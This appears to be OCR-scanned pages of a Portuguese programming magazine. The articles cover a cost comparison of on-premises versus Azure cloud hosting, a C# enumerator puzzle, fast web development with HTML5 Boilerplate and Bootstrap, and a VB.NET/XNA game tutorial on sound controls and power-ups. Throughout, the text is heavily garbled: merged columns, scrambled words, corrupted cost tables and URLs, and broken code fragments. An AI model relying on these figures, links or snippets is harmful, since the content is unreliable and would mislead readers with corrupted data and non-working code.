Figur@GomMmparativo de desempenho entre asl ?i%etn©%éiaarpedqot %in(d%HgSAA@IErX]eCapCOIaIeEb(
e um servidor equiparado ao 'to}"a(%) e os custos de opera-«o
o ) | - mento &cu t oORBX r@me rea toiuo n a l Exp
t@co.mparjtl\\llv.o dreve : @ a@spu fl':semé)sencgstdos foram utiTCQTRdtoasl pa
nei ats 0 tn OW: zure Idn der 't?i@ofaOOW(ﬁjgeFSLﬁrﬁep%gmrpajmursmelsat i va-
r n miv X -« i n i
prese € opsemyvsEsexce 0 & demSt'e® ' Pma’ ®s ol u-«0o na nuvem nun
t amarElxd r a , Laruge apresenta um sempenho_.2.1% .
. N bst X ) ¢ tumafestlmatll\ﬁa usada par a me
superior. .«ot%hs anaje : es glnacess;to’/i me%hit 08 SiG %l ahicdhed Pyl e queap
-« m I n r \Y m .
Za d('qu a sd ad gma e ah a@n Odooss € % ndiretos %ue est«o envolyv
e i eren-a e' esemp.en o podem Sﬁrir%po Persados. R ar ao | ei
se usarem duas inst©ncias em vez de uma . ?ara COmMRT Qyuar
| ts b ma i r-qguan |ddad dados poss
-« n nuvem i mensi_on n -
que a sto u ° a u .ed;@es | OEOLFtC&eJea “mMa%i"s? 4% b sT A" %® 0s resul
gue suster a promuUreani 93 @lmu eﬁga_)yl mos da realidade

*;?ENI GMASCHOO C#

por Paul o Morgado

Eni gma
class Enumerator
{ class Enumerable
private  bool moved; .
public int Current public Enumerator GetEnumerator()
get Console .WriteLine(
"Enumerable.GetEnumerator" );
Console .WriteLine( return new Enumerator ();
"Enumerator.get_Current’ ); }
return O; }
} o . . 5
public bool MoveNext() © c-digo acima compilaFr

{ .
Console WriteLine( E se compilar, qual ® o resultad

"Enumerator.MoveNext" );

Ery foreach (var o in new Enumerable())
} return ! this .moved; Console .WriteLine(0);

finally }

{

if (! this .moved)
this .moved = true ;
}
%ublic void Dispose()

Console .WriteLine(
"Enumerator.Dispose” );

Veja a resposta e explica
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Assim, par @ Aar esoifsusesam i ncl u? dos a do® cca§§ 2

garantia englobe a
|l o TdM®Gs custos nNn«o correntes e(s':t'e9”®a )aI’S% &' ensteers

(o idor que i
aquisi-«o do servidor, I i cenC|Padrp¢%r§t ORepHJ%% me ¢y '() N esntBPPSqu’os d
rede e bastidor. O custo do eﬁ#l'rﬂ@lmte@té’ndj rcsrdae |Cn ldu'ndoonado
cabl agem, foi definido de acorddeoracdoom aeloa e ad & ay drﬁatclo\)T‘d do
parg-«o dg custo da Amazgn corrps§gﬂ1p®g&§nda % 4 qq, optoarlbaixo.
do investimento com servidores.
Sub-
Sub- i - Custo/
Qv Descrigio Preco E};{] Qu Descricdo Més -}I::?;]
Ticengas 12 Contr:to_ d_e Assisténcia Técnica “Contrato PME™ 567,03 283,52
Microsoft Vi mdows Server Standard 111999 | 118,09 Prazomiximo de 6 horas (remoto)
Edition OLP (Open Licensmg) NL (No resposta 12 horas (presencial)
Level) 2 Processors Horas de assisténcia 12horas
PN: P73-05762 mncluidas:
SQL Server Standard Edson OLF NL 138,81 | 1138381 Deslocactes: Grahiitas
P 228.00884 252 | KWR(720 @ 350W) * 300 3,10
Fquipamento 12 Ligacdo a Internet “Sapo Fibra 100MB™ 41,00 2050
1 UPS Onlme HPR T3000 G2 1550,00 | 1330,00 (Iiaarg;;ra f[e banda 100MB
Poténcix 3300VA ++ ownload:
_ Factor de W Largura de banda 10MB
Forma: upload:
PN: AF488A
Bamel frontl preto 19 com gu g% cabos L] S]] *=350W dufaete '_.‘.C' horas segundo a tarifa smmples da EDP, Servigo Universal SA 1
365 pachos kWh=0,1393 EUR
l PN: RF 3301
N 33Ul
1 Tstmte hara 15° oo G00R000 T30 TG | 15040 Fi gufQusbt o corrent eprdeamissoelsu- «o on
] .
M E’\ PHP 7022 Na sol u-«o na nuvem existem son
Discorigido HF 1 TB 3G SATA 12K wom e (Figura 7) n«o existindo qualque
= 4 SJ:: . h compra de equi pamento. Para o
Memars 765 PC3-106000 (DDE-1333) L vem foram utilizadasgeuma baseOn
ey ) 2 Registered CAS-0 dados e espa-0 de armazenamento
PN: 500670-B21 .. . .
T TP Pl DTS TR TR me n s»es do d4efjwai et 8§dai nda inclu
— S cri-«o do ARwtpWaltagdo.(g!l /freRQIlaXne |
ocessador: Xeon E5606 ( . .
‘ ‘ ;;m_;;;GH:;,, respons8vel pela escalabilidade
Memériz 2x 2GB PC3-106000
(DDR3.1333) Rt
Pemstered CAS-2 ub- uh-
== Rede: HPNC362i lntegrated Qny Descricio Horas | Dias i'[l;“' CJ,';“ 5{'[:" Total | Total
Dual Port Gigabit o (A A8 UsD | EUR#
Server Adapter i Ta 0 048 A360 [ &0130] 514
Almentaglo:  HP460W Common L[ LageWeo Rote - = 0| G0 A
Slot Gold Hot Plug
Power Supply Kt T | Baeds Dados 10GE W 0| 6
Factor de U
Forma )
PN, 61363427 __ T | Coude Amoazenamento 0| 20| %
* 0 processador presente no sernidor da Loja A fon lancade no quarto trmestre de 2007 ¢ Ja ndo se 100GE *
encontra disponivel por isso, foi escolhido um equivalente W
** 40 mimutos de sutonomia com uma carga exigida de 20% (600W) b Tnstinoas Montonzda: oo 0 WEE]] S8 9| 1556
AnmeWatch
Fi ufrQusst o n«o corremtreendas essol u- «
9 ® * Dimensionado de acordo com 2 base de dados e o espaco de amuazenaments do servador da Lop A
Quanto aos custos correntes (| "Tasdecimbiodereforines didria publicads pelo Banco de Portagal 1 EUR = 11726 USD cul o
0O custo de manuten-«o de hardwar e, o contrato de assist®°n-
cia t®cnica, eletricidade, liga-«o Fl9UARErRdE s@! Yy r<ocPnindP¥sn &4

Para se aferir o gasto mensal Neomusetettbentladhaof eoneshi madal o
um consumo de 252 kWh tendo ppar dasel ntmar mpeott °(n@,i @9 dBUR por GB
350 W 24 horas por 7. Para a pmanddretna «de f @i meoasdmdentagio( 0, 01

gue a institui-«o tem um contr-axteos)de assist°ncia t®cnica para
0 seu parque inform8tico no quAaI, est § engltobado serV|dor.
Como o contrato ® partilhado apecnoargpafroal'«coonsel pordo %50%;, % % €5 €
sol.u-«o,_ que serl c i d de r,ai
val or tot al do contrato que, nestte caso correspondeI 28d3 52
EURnensai s. Os mesmos 50% foraﬁ%e%g?’lc%%%: ' I tsaer(o "?J ¢ |
I nternet per f azenmkWwR o0 vcad sotro dcbeezma?ﬁfo?nvo viomen 0, n«o 0,' conta
. . ~val ente. Num cen§r| c]de migra-«o
ten-«o0o de hardware foi definidbo tsebg,uln,do a cal cu a orac| ed ¢
compara-«o0o de custo da AmazonCcoonrraeslponaaendo ae 10‘%_000 e adap
l i a0. MOV O rua .
val or do equipamento (o0 equipamento n«o r conside-
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C8l cul o OCjOa d@mr emi ses
CapEx Ano 1 Ano 4 Ano
Cus -
to d
Har d Servildor
ware| 1 pro;efsésg,ls o,0of0 o,o00 o, oo
sador
core
UPS
onl i el550,]00 0, Of0 0, 0f0 0, 0f0
3300V]JA
Cust
hardwhré&17,[83 0, 0|0 0, 0f0 0, 0fo
de relde
Custe® 509,89 0,000 0,00 o, ol
bastildor
Cust
m"‘in«uot”'o,oo 51,18 206,[78206,[78
hardwhr e
Cus -
to d
Soft
ware| Micropoft
Wi ndows
Servdgr
111
Standhrk 9,/]99 0, 0J0 0, 0|0 0, 0|0
Edi t iJon
OL P N|L
SQL
Servdgr
Standpridi38,/81 0, 0f0 0, 0o 0, 0o
Edi t iJon
OL P N|L
Il nst El . i
la-» etrycid-olo 2a21,poa21,poaz1, o
ade
s
Liga-l«o 4 olo 246.J00246,|00246,00
Intprnet
Arocondig ols o,0l0 0,00 o, oo
ci onaldo
Ou - Contrlato
tros de agq-
. o . 0,0|0 3402,]283402,/]23402,/]24
sist°phcia
t ®c ni]ca
TOTAL 7125,64121,22276,/]22276,|]22

Tabel-@8l cul o LToG@ dgamemi ses

Pel os c¢c8lculos da -§abglba 8 eudtop
a solupxembeaes e a solu-«o0 na nu
do chegando a uma diferen-a de
trimestre do terceiro ano. Nesse
na nuvem acaba mesmo, por wultrap
l ocal apresentando no final dos
de 21. E®&6,06n8t ra 1BUR MA, 33 9 %)
Estes resultados demonstram a ex
dos pel os f or neeceodmpruetsi ndge qaloud
objetivo transferir 0S custos pa
n«o se mostrou aliciante do pont
estar a usar um n¥mero de inst©®©
Loja Aacto de n«o se estar a tir
l evou a um di mensionamento aci ma
da aplica-«o, as duas inst®©nci as
guadas para o per2odo de pico ma
per2odo nor mal
C8l cul o IOLCjOa dMuv em
CapE| Ano Ano Ano |3
Cduossto 2 I nst@ncias
servi-| Web Rofe o olhes17 66517, |66517 |68
na deL aTragmeanho
Nuvem
Base d|e
Dados QO 0,00 433,B2433,B2433,B2
GB
Conta [de
/:];nmfie 6(1)—0 0,00 117,Bp4117,pB4117,B4
GB
OQutrofg
2 I nst@ncias
Msz;[g 12235 ol 186, 2186,F2186, 2
Azur eWgt ch
TOTAL 0, 0/07255,]58255,|]58255,]56
Tabel@8l4cul o TCO da Loja A, nuvem
£ expect8vel gue a nuvem seja mai
dor caso tenha a capacidade de
aplicaktepapAesenta um padr«o di §
racteriza por um aumento da proc
qual Ss«0 necess8rias duas inst©
uma Ynica inst©ncia ® suficiente
tendo em conta o padrL«og ad Aot t®he
tr8rio da estimativa anterior, n
48 horas de ULmagessba®@®hebauma ins
tempo inteiro e uma inst®ncia ad
As anteriores 48 horas passaram
perfaz um tot al de 31 horas de
existe uma s- inst©ncia em perz2o
est8&8 bem di mensionado fSdiA penleoc es
menos duas i nst Onparaas rdet icfaidcaart ie
v a.
O benef2cio financeiro da adequa
exigida est8 evidenciado na Figu
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pan-a na ordem dos 25% num perZg|diod fdee 3q BamPBo uti |l i zados isol a
Links Yteis
e R oo S«o deixados ao |eitor dois ende
_~ t2picos de apleivesdas dabelsaes. Ac
o que elsitmlosder «o ser Y%teis aquand
— '/,/"’ mento dWorflkés(OORogera 3) dado que
/,../' -«0 entre o W&rtk eor &R ok Eftaal spoo r i nt
- destes servi-os.
,»"/ —=— Custos On-Premises
e
s e etsstestad) Devel op, How to use the Queue St
Mi cr oshotfttp:@ / goo. gl / q4vDp

Investimento Inicial Ano1 ' Ano 2 ' Ano3
Develop, How to use the Tabl e St
FigB8frRusto cumulativo da Loja A M Gb@gsdothitto @ 4Agqo. gl /1 gnHa

Concl us«o Refer°ncias

Os resultados levam a conclui Abgue hbe €kn8dbo é&mBgué&kebey Vi
n“mero de inst©ncias ® fixo oWremrget, o Mhmaed @&dé¢ iaddt,OnUni ver
cias necess8rias Afora do per 2d0dDP de picob ® inferior a dois

par adi genacaddompunikmg ® atrati vo AdSOP Q\I%q.t oUn Y ersal ProviMlernssBét
vista financeiro. Mesmo que hfdthq@ife/‘?% a gﬁ}gnlgl\ﬁve ser '

suficientemente grande para que justifique ado-«0 de um
novo paradigma. Esta diferen-AW$0EC@@®@Ie@-$A|W@am@GBn2MB_E_@/900-
tirou partido da elasticidade, 2Fkf& das principais caracter?2st.i
cas di ferenciador as da nuvemAzﬁresthnagw{.vcgmrries\{elp ngéj’e Brian
guando uma solu-«o0o ® bem di mensionada oder«o ser al -
can-adas poupan-as substanci aifs Vd e, Offoerrﬂ-lArﬂdn@@M@@m Mgshael e
25% no caso d_mpaciAfiS(amjgaaut?k De(i/naq lonIntrodutnCrhga pWier d q wsD aA/Z ui
uma empresa .de consul tadori a @hlt@%e§t/q%%-«?/vgggg onada

par aal@muadmpuniasgsuas difeBSeabes fTor mas

Paa®u a3S defende queTQGditfer ah@veldop, Improving Application A
sol uema emieselsma sol u-«o na nuvMimCFnQJSnQ:fath,HmenﬂZQ@O-9|/BXGla

ser inferior a 20% para que oDaespeelt fid\/ae“rcv erv\P Ojfusctr |thhe aP 9
si s., a ado-«o de um novo p‘%rz%qwgénraosoufmtﬁt926091/6‘17‘6@6"«P/WGSES
deve, por i sso, averiguar a viabilidade i nanceira nuvem

antes de optar por introduzir DoeVnedeoovpaR"eaadthHPar'nda- ssutaaretsltnaL'f
t®gia de neg-cio. Os c&lculosRakRew &fer Gah¥tion2 O0clelhd @ idf drZ7HNnJ

com.a maiqr quant.idade de dadq)%pgp?anggl ol &g nqduoeWsa-/ézélﬂriieﬁhAff
mati vaCGeja pr-xima da rea"dl\f"uno PZ?OEl?ch@'/eé@étg’I/aFQGKG

organi za-«o0o pode wutilizar o seu pr-prlo model o c8lculo ou
utilizar um modelo de uma empMNEya Fuhbepd$dERrPabi{ati ggmoDiffe
apresentado na Tabela 3 e 4 onMie r®s®pithtct2@d/ Voa@Wo ¥ I/ MMFd a
I'nfothddp: ¢/ gdo. ®Is/ JwedleB os dostfOr@eEeFEF°BESt om Line: Calcul ati
podem ser utilizados como con?]pelsesmegﬁw iMaSt i 0 SMAU @f ftBhcek  Tleacthdh c
ipatrocinadosodo podem induzir azorlels_ultados demasi ados favo-
r§veis para o fornecedor de servi-o. Deste modo, n«o t°m

AUTOR

Escrito por Edgar Santos

Encorrter mactual mente a concluir o MeGdmmutoa-edqmo EM-gwerlh ad o al n «ntf iotr ur

Leiria, sob orienta-«o dos professores Patr2cio Domingues e S
Profissional mente, 0 seu interesxea pied @rse g eare sn uWma crounptuit maoir er
muni ca- »es.

Prefere linguagens interpretadas e a sua |inguagem de el ei-«o
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RIipido e bem? A progr

O mais curioso na tecnologia B agsuangcapaoisdgdel edn® Smwetsaj-uecer

-«0 gquase fren®tica. O que ® hsoijtee uantae sts&cvreilc aa ot uo dporso doust ou tdie i z
pont a, ® amanh« uma forma obsO®l Rtespdeasi &€olDeesr gimm qdiet etrant o s
mi nado probl ema. £ -bvio que m«oguwemsat «wos cmddha® Asovilsinteas onli
assim, mas ilustra que a tecnbhbheaseanuomantamuam cadmodmajtpel
acelerado e que ® indospensSvaht@dapuear moesponda a todos e s
mente a novas metodol ogias, nFoavzaesmofs e rernatmkeon t haswnd o@olv adso nosso
formas de comunicar. A Web tetmr sz diomauneas tdaust u§rae dsasgue@ara o n
mais tem evolu2do, e para quetesb8sssos isicthad . pod dnowlidte exqnuizad o a0
nossos <clientes tenham sucessper mietneosdeumact me c @i dackdes propri
regular de inovar e produzir rp8opni2dvacies efo chr menaee, possi bilite

. . al n«o s e ortado odemos
A investiga-«0o nesta 8rea ® escsreignctl %S%ste ePr i go |psa i sso
me s mo , referir algumas das ferral%entas, ormas de progr a-
mar e sequ°®°ncias de tarefas ®dwen rosapesmitiemr aophdsme zmademos

todo o processo de desenvol vindeontmosso umreittei poquerldaeramdo o

tem a qualidade deste. podemos, bnaosse ama o document a- «o d «
cr| ma estrutura de Iayout pa
O pressupost o: vamos constrU|r e §' Gastar VvS8rio
. do b%ots ra dem ver exemp 0SsS
meses no seu desenvol vimento n« i v emos de. ser
¢ nsegmmos criar facilm

r§pidos e pragm8ticos.
com a vantagem de possuir um asp

Aqui surgem as primeiras quesvelsgrg&fei ccoemos | ogo de ver
respondi das: guais o0os objectivos do site? Qual 0O p¥%blico al -
vo? O que ser8§8 diferenciador no meu site para que as pesso-
as o0 visitem? Exi ste umdast gggbh@aakos mostra ai

ferran"lljentaost,fv%rpnomenalts gue
?%a 1732 hacail<wen Grheaartl

Temos que ter conte¥dos de qu%looq
vo?

esoufr revs -D © e t sl orvaeprs/
des on 2d 0

resse dos visitantes e o0s

) r
fase ® essenci al ter mos alguns Ses ¢C rey’ S eunldos
como i magens, |l og- - ti os da mar.ca, cl.i nte. o t ema ue va-
g g P S ar a al'®m dISlfIO, Mm% mbo's ] temén
mos falar. Il sto ir§& facilitar 0 Processo de desenvoév ment o
de constru-«o de |l ayout gr§ficooo strap aue nos podemltbprhit
getkickstrap.com/themes/

De seguida, vamos para o procCesnstoe Yadl® s p rpo toomtthogssae eepsrtornurbau. r aA g U i
processo que se espera e deseqae ssteqo rd8opsi daohj eEcsttiev opsr oec ecda nt e %d

mento passa j 8 pela parte de pgrac@®r pma-a«c.as®.aqui iniciamos
um conjunto de processos que _Jjr«o permitir ao, nosso, site
i Dur ant o desenvolvimento, al gum:
estar perfeitamente executado.
i Desenvol vimento em HTMLS5, ma s

Exi stem algumas frameworks de acel<0 ad «foaldloh scksss oparaprowser s
l ho e que nos vai permitir tornartadg stiogteal meinier ,0 MATMLY .spA@Bi |

acess2vel . ser o mel hor amigo, principal
vem inclu2do ndetsemplsatte kpasde

ma gr andlt tag :u/d/aht ml -5qpul ee ansces. ¢

Vamos usar o] HTML5 htBa®i: I/e!rpnloigtt o(que i§ podemos usar

ht ml  5boil e)r,pluam et.ecnopni/etned pmairea cfornd mat

com a col abora-«o de mai s 9fde sek00 ntdelvied OrPted Sno uso de CS
Podemos usar uma outra ferramentga.qgugonNPeepBerM {68, c8mMbaas pro
al ®m de incluir o HTMLS5 Boilerplaijeoe. aPoemas €rPAPCEPHEYSEe® s
Bootsthtatppp: /(/ t witter . §it hPuabr.acoend b@o®tsétfaP/ constantemente a rep
|l hermos as v8rias op-»es das frameworks que vamos wutili-

zar , utilizamosht top: /i/nwww.gilniiztri al(i zr . c om/
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Optimizar o uso de gradientfes.yval§ dna<o«ol © GoesS e dq gl h tHTML/ /

dade de incluir dezemtatsp: He yiaMa H&N Deh.tw3p. o/ r/g/i gswam. iwda toa rg//
www. col or zi | |I-ead ictodma/i/gxraanddioe ndte | ad o

al gumas com gradientes. Ag¥%hr al npcolduei rs eiGoogldet tpfonral wivivec s oo @ |
CSS. Esta ferramenta com o asprazltpt dbe/PRPhotbdes hopber se o no
aj udas i menso, acel erando o pwnocedssadode desean-experi ®°ncia o
vol vi ment o. que n-s pretendemos para a pl

Usar bem-rCtStS[B://cssSqe(DcematE&rtecom/um conjunto de regras qu

tantas propriedades CSS3, @suta ersarqeantcrflfozf?'« r @nline de;
vil has. uncnona expectatlvas do

Nesta fase pedlmos aos nossos a
Usar Friendly URLb&s. Pensatesteénpre whatas@abnppdadedem a pe
do nosso site. URLGs ami g§Re®s5eRGirh&m o nosso site
mai s eficaz, com facilidade de Il eitura e partilha de
endere-os. A

nzvel de desenvolvimento wutild@
podemos dei xar de mencionar uma

: vol vida pelo pessoal
O ma | S C u(h L %k ciapappésentado no Cod

fas-e e envolviment o, e tem
n a t e C n O I fg |meaorks®e da-senvolvimento de
. n « ut i izar uma grel ha, funci on
ua capaci dase de

mut a- «0 quaSEStasffrrarrewp‘]r,_regraseferral

t

E s
0s

vol vi mento mais acelerado e a pr
i C -«0 rapidament e, gue podemos tes
aproximar da nossa solu-«o final

temos que s
C

e tudo correu bem at® aqui, mos.eat«o §assar éa[fa.

NosSsSos passos ||npi y

Passos finais:

)l

i n it eare _ gmg 0.s
AMi ni ficaro todo o c-digo J vascrl SS ess§-

rio para optimizarmos ainda mais nosso N« o
esquecer que no Head do nosso documento ap

dever 8 ser chamado a |ivraria modernizr, e 0O restante
Javascript no final do nosso elemento <body>. Este
p.rocesso acel era q c.arregantenngoadovs leulerrbenuta Bsutemos que
ais para que o utilizador B;ﬁ]g m Oénehgorhoer)éped anesenvoln

ci a de uth|tlt|pza//«|oscoe£nh|tesps{$vpng

) ) ajudado com este artigo.
www. mi ni fyceceampoe) €615/

AUTOR

Escrito por S®rgio Laranjeira

Sonhador e empreendedor com uma pai xXx«o0 enorme por tudo que ®

Sonhador, idealista e apaixonado. Coloca em caasa @omjmredtor ita dr
suas skills enquanto programador. £ na 8rea web nesta 8rea qu
pragm8ti ca. Licenciado em Computa-«o Gr8§fica ® apaixonado por
dade.
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(N«

Organi s

Mo S Do

Pegar onde ficou If Central .MUSICA_ 10 Then wF.Write(ChrW
(AscW('1"))) Else wF.Write(ChrW(AscW("0")))
wWF.Write(ChrW(AscW(";" )))
. > . If Central .SFX_IO Then wF.Write(ChrW
Ent «o, onde fic&mos? Criamos (AscW("1"))) Else WF.Write(ChrW(AscW("0")))
ao ciclo de jogo e pudemos e End Using
movi mentos dos organi smos de End Sub
l er - metro. .
Public Shared Sub CarregarControloDeSom()
Tratamos dos efeitos sonoros, Dim IST As IsolatedStorageFile =
pontua-«o0o m§xi ma gl obal IsolatedStorageFile GetUserStoreForAppllcatlon()
If Not IST.FileExists(  "organismos.som" )
Estamos aptos para come-ar a Then
Bem, guaseé para a produ-«o d Central .MUSICA_IO = True
meter o jogo para certifica-«ct Central .SFX_IO = True
Exit Sub
A certifica-«o falhou com alcg End If ;
quais n«o fal §mos e que ® nec:¢ Using rF As NewlO. StreamReader(New _ t es
de tratar do ciclo de jogo, p: IsolatedStorageFileStream side
rsmos fechado ("organismos.som" , FileMode .OpenOrCreate,
. _ _ FileAccess .Read, IST))
Os dois pontos mai ssef Inagrcaonnte Dim C As Strmg()()SE)“i’l!z.CRl’ler\?\(/j(LOSE\r}\?( "))
si)m_. O m®todo de determinar s Central .MUSICA 10 ="1" =C(0) ' r
m/asl_ca no Zune oOU nN«O, n«o es Central .SFX_IO= "1" =C(1)
e fiquei a saber que todos os End Using 2
permitam controlar o vol ume d End Sub
te a m¥si ca ou som, e estarem cvapacceos uc al aceceial €>>abs
Op-»€es. Estes m®todos permitem gravar a
A Microsoft |l eva a s®rio (e beam)maz enxgpredd aixdmagdovaltolézsatioe. O
2
Assim, acrescentamos cont en't r|a9 6éj‘| |paranc§‘van§/“s'r%gg fpgPara o
para representar 0S nNnovos contersotl‘sosI igado desli gado.
Por exempl o, para desligar a m¥s
zenasd a0 ; 1
No f i cJhoegior.oRecur sosamobl contempl a
novos controlos. Comecemos por ci
Public BT_Musica_Ligada As Texture2D
Public BT_Musica_Desligada As Texture2D
Public BT _Efeitos_Ligados As Texture2D
Public BT _Efeitos_Desligados As Texture2D
E depois no m®t odo Carregar Recur
BT_Musica_Ligada = Content.Load( Of Texture2D)
("btmusicaon" )
BT_Musica_Desligada = Content.Load(  Of Texture2D)
("btmusicaoff" )
BT_Efeitos_Ligados = Content.Load( Of Texture2D)
("btsfxon" )
BT_Efeitos_Desligados = Content.Load( Of Texture2D)
E comecemos por efectuarUtailltie ("btsfxoff* )
des,vieom uma adi - «o:
Pubiic, Shared Sub G c I = Na cl asse de Jiongioc.ilanliicziaal»i ezsann®tecs-.
Dlum IFST Agrtlasmatlédsug?ggéﬁcl)gtrooD:e ey do I nicializarMenu ter§ de cont el
IsolatedStorageFile .GetUserStoreForApplication() Central .Botao Musica On =

Using wF As New IO. StreamWriter (New _
IsolatedStorageFileStream ("organismos.som"
FileMode .OpenOrCreate, FileAccess .Write, IST))

New Sprite (BT_Musica_Ligada,
New Vector2 (10, ALTURA - 110), 0, 0)
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Central .Botao_Musica_Off = Central.Botao_Efeitos_Off.Desvanecimento = -20
New Sprite (BT_Musica_Desligada, Central.Botao_Efeitos_On.Desvanecimento = 20
New Vector2 (10, ALTURA - 110), 0, 0) Else
Central .Botao_Efeitos_On = Central.Botao_Efeitos_Off.Desvanecimento = 20
New Sprite (BT_Efeitos_Ligados, Central.Botao_Efeitos_On.Desvanecimento = -20
New Vector2 (120, ALTURA - 110), 0, 0) End If
Central .Botao_Efeitos_Off = GravarControloDeSom()
New Sprite (BT_Efeitos_Desligados, End Sub
New Vector2 (120, ALTURA - 110), 0, 0)
No m®t odo Tocar Musi ca, vamos sAulbnsqa‘ltnuels'rt:a classe, h§ que acres
toques nesses controlos.
If Not MediaPlayer .GameHasControl Then Exit Sub
N o m®t odo Detectar Tsorequas, Case e &
Por: se. MENU e ao Case Fase.PAUSA o0s
If Not Central .MUSICA_IO Then Exit Sub If ToqueRect.Intersects
If Not Central .ControloDoMP Then Exit Sub (Central.Botao_Efeitos_Off.Rectangulo)
Then
TocarSFX("TOQUEY)
E no m®todo Tocar SFX acrescent coqpa SEX IO= Not Central .SFX_IO
: ActualizarEstadoBotoesDeSom()
If Not Central .SFX_IO Then Exit Sub End If
If ToqueRect.Intersects
. (Central.Botao_Musica_Off.Rectangulo)
Estas W timas altera-»es no 1 Then
i mportantes pois verificam o TocarSFX("TOQUE)
se tocam oOouU nN«Oo O Som. Como t Central .MUSICA_IO = Not Central .MUSICA_IO
s«o fejitas atrav®s destes 2 n ActualizarEstadoBotoesDeSom() -
End If
l hor .
Na clisge. Desenhvoamobs acrescenfaf38€ mBrbdoad PAUSA n«o devers§ |
para desenhar os novos controld&%i:cionar e repetir o bloco de c
Private Sub DesenharControlosDeSom( _ H8 maneiras mel hores para replic
_ SB As SpriteBaich )  vamos promover a | -gica imediata.
Central.Botao_Efeitos_Off.Desenha(SB)
Centra|.BOtaO_EfeitOS_On.Desenha(SB) Acrescent emos t amb®m o} m®t od o de
Central.Botao_Musica_Off.Desenha(SB) d | d .
Central.Botao_Musica_On.Desenha(SB) tos 0o controlo e som:
UL ST Private  Sub InicializarBotoesDeSom()
Central.Botao_Efeitos_On.Desvanecimento = 20
P ] Acc 4@ Central.Botao_Musica_On.Desvanecimento = 20
or sua vez,0gma Acltasa ZaeeoessS central.Botao_Efeitos Off.Opacidade = 0
acrescentar o m®todo para act ! Central.Botao_Musica Off.Opacidade = 0 o -
los e depois o m®todo que os EnNdSub
op-»es: Por esta altura devem estar a ve
Private Sub ActualizarBotoesDeSom(GT As GameTimp p or f"‘ caso. Co mp se trata m_ de alt
Central.Botao_Efeitos_Off.Actualiza(GT) j 8 tinham escrito, aproveitem o
Central.Botao_Efeitos_On.Actualiza(GT) mi nar as |l ocali za- »es das cCoOrr e
Central.Botao_Musica_Off.Actualiza(GT) Vv ; vl t i
Central.Botao_Musica_On.Actualiza(GT) amos azer a vl tima correc-«o n
End Sub ACentral .vb
Private  Sub ActualizarEstadoBotoesDeSom() Comecemos por declara-»es:
If Central .MUSICA_IO Then
Central.Botao_Musica_Off.Desvanecimento = -20 Public Shared Botao_Continuar As Sprite
Central.Botao_Musica_On.Desvanecimento = 20 Public Shared Botao Efeitos On As Sprite
If MediaPlayer .Queue.ActiveSong Is Nothing And  Public Shared Botao Efeitos_Off  As Sprite
Central .ControloDoMP Then  Public Shared Botao_Musica_On As Sprite
~TocarMusica() Public Shared Botao_Musica_Off As Sprite
If Fase = Fases.PAUSAThen MediaPlayer .Pause() Public Shared MUSICA_IOAs Boolean = True
End If Public Shared SFX_IO As Boolean = True
If Not Fase = Fases.PAUSAThen
It Central .ControloDoMP  Then Por fim, basta acrescentar o m®t
MediaPlayer .Resume()
Else Public Shared Function ControloDoMP() As Boolean

Central.Botao_Musica_Off.Desvanecimento = 20
Central.Botao_Musica_On.Desvanecimento = -20
If Central .ControloDoMP Then MediaPlayer .Pause()
End If
If Central .SFX_IO Then

If MediaPlayer .GameHasControl = False Then
Return False
If Not MediaPlayer .Queue.ActiveSong

Then

Is Nothing
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If Not MediaPlayer .Queue.ActiveSong.ToString. Descontar PontosTempo vai retirar
ToLower.StartsWith(  "musica\musica" ) Then Rggljsrg gundos, calculados com base nos
End If Acrescentemos tamb®m:
Return True
End Function InicializarBotoesDeSom()
Este m®todo concentra todos ActualizarEstadoBotoesDeSom()
determinar se temos ou n«o o controlo do Media Pl ayer.
. . No Case_dos 5400. miili segundos, p
Par .a 'aI ®m das ver |.f i ca- >>e§ dot r'\éng' aSPteaaymeri,ni at gﬂ?zg@%ngs
verificar se a m¥Wsica em fila ® alguma das nossas, porque se
for, o controlo ® nosso. Na clJlosege. | ni ci al iczoanteo-eassmovsh a acr
tar m®t odos e tipos:
Erros? Zero.
Public EnumCamadas
EFECTIVA
) . SUPERIOR
Final mente, continuar INFERIOR
End Enum
. Public Sub PrepararNovoJogo()
Com as correc-»es no s2tio, v Centra. POWERUPS_EFECTIVOS.Clear() 0
do jogo. Central. CAMADA_EFECTIVA.Clear()
Central. CAMADA_INFERIOR.Clear()
A primeira coi s a que guer emos Central.CAMADA_SUPERIOR.CIear()
| i feri Central .Pontos =0
classes peri ricas para que | Central .Nivel = 1 e -
ver a actwualiza-«o, qgue ® ond:¢ Central .Safo = False
Central.Jogador.Tamanho = 0.04F
Na <cl dsge. Fl wxaonowsb acr escent a End Sub
bloco: Chanmsae este m®todo sempre que se
. : das as vari8§veis do ciclo ao pon
Private Sub ValidarPassagemDeFase() de dados pronta para recome-ar o
If Central.Jogador.Tamanho > 0.7 And gentral .Safo £ tamb®m nas inicializa-»es que
Central Safo= True = False Then 4455 que v«o gerar novos organis
TocarSFX("SAT:O‘) bem como o m®t odo que normali za
mo s .
End If Criamos as camadas superior, i nf
If Central.Jogador.Tamanho >= 1.25F  Then est®ticos.
E%%%rgfu?\ll?\?gﬂl As entidades que interagem sSer «
FRAME = 1 efectiva, e as outras duas ser«o
Central.Jogador.Tamanho = 0.04F reactivos ao aceler-metro, que Vv
Central .PowerUpActivo = Nothing profundi dade.
Fase = Fases.ENTRADA_NIVEL
Central .Safo= False Para gerar powerups escrevemos O
Centra. CAMADA_EFECTIVA.ForEach@Sub(O As
_ Objecto ) Public Sub CriarPowerUp()
0O.0rdenarDestruicao() Dim R As Random= Central .AleatorioGlobal
Dim tmpGrafico As Texture2D = Nothing
End Sub) Dim tmpTipo As Central . PowerUps
=g Dim tmpTempoAs Integer = Cint (Seg_Frames(15))
n
Select Case R.Next(0, 100)
End Sub Case Is < 15:tmpTipo=_
) Central . PowerUpsFALHAOPTICA : tmpTempo = Cint
Private Sub DescontarPontosTempo() (Seg_Frames(20))
Case Is <40 :tmpTipo = _
If Central .Pontos>0 Then If FRAMBMVod Central . PowerUpsAGITACAOGENETICA
Seg_Frames(15) =0 Then Central .Pontos -=1 Case Is <80:tmpTipo=  Central . PowerUpsDOBRO
If Central .Pontos<0 Then Case Is <95 :tmpTipo = Central . PowerUpsTRIPLO
Central .Pontos =0 Case Else :tmpTipo =_
End Sub Central . PowerUpsINVERSAOGENETICA : tmpTempo = _
Cint (Seg_Frames(10))
Val i dar PassagembDeFase ® um m¢ End Select
coisas: se o organismo |8 Se yyyGrafico= Powerups(tmpTipo)
pode absorver tudo e tamb®m s DimP As NewPowerup(tmpGrafico, New Vector2
